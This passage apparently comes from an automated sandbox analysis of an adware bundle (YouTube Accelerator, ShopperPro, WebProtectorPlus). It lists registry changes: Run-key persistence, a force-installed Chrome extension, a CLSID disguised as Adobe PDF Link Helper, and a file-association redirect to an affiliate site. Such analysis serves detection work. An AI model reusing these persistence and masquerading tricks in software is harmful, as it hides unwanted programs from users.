[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:3652 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "41 D4 A3 8E 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "11 E6 5A 91 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process spbiu.exe:4008 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process spbiu.exe:3456 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "F4 A5 3A 44 A3 CB E3 B0 CD 3B 8C 63 FD 79 04 32"

The process wscript.exe:2396 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process nso63A4.tmp:3200 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "D5 E6 C8 5D 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\474.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\474.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ChromeSync.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ClearnC.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\RegWrite.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\wpm_v20.0.0.2227.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\XTab_Setup2253.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\nsProcess.dll,"

[HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko]
"update_url" = "http://clients2.google.com/service/update2/crx"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\WebProtectorPlus]
"SID" = "OTgxMw=="

[HKCU\Software\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko]
"update_url" = "http://clients2.google.com/service/update2/crx"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 54 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "4C 44 20 80 27 83 D0 01"

[HKLM\SOFTWARE\WebProtectorPlus]
"Gid" = "C7EA5D40-7F8D-41EE-8724-16F387C4EEE8"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process YouTubeAcceleratorService.exe:3856 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ}JbXMHpbpODr"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1430385915"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 70 A4 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1430385919"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "7C B3 7F 7E 27 83 D0 01"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "06 AD CE 8E 27 83 D0 01"
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "KPK{bWdlh|ab@_w}Yu`gBISI`@Ndl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLUpdateFailed" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "DzlheLoT"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dt`ARLXEPtLli@u"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "3b091727-27e1-4c47-b3f1-08da5080b725"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZbn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAPW" = "xOjNfrxi"
"SBPID" = "225905ee-8d98-45f3-9c8f-9c83de3b2ec2"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LKUkiRXt|QiW{fDh`NkAwsXbDWCkK"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"
"XMLVersion" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "YeDTFqVOQ`"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:1776 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 70 A4 44 A3"
"{K7C0DB872A3F777C0}" = "6C C3 49 3F 4B 17 1F CD 22 18 2A 64 22 18 AF B6"

The process YouTubeAcceleratorService.exe:2800 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"AppID" = "{77AB4812-5411-4EA9-8437-77AD0F230302}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\TypeLib]
"(Default)" = "{2991F100-D9C3-4243-82A2-A718747FC0CF}"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 70 A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Programmable]
"(Default)" = ""

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\ProgID]
"(Default)" = "AcroIEHelperShim.AcroIEHelperShimObj.1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "B8 4D DF 99 4B 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\VersionIndependentProgID]
"(Default)" = "AcroIEHelperShim.AcroIEHelperShimObj"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "Adobe PDF Link Helper"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "%Program Files% (x86)\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process YouTubeAcceleratorService.exe:3688 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 70 A4 44 A3"

The process GLB9730.tmp:2764 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1430385899"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"
"ShowAds" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1430385899"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "102"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3396(build_102)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process BF77.tmp:1588 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

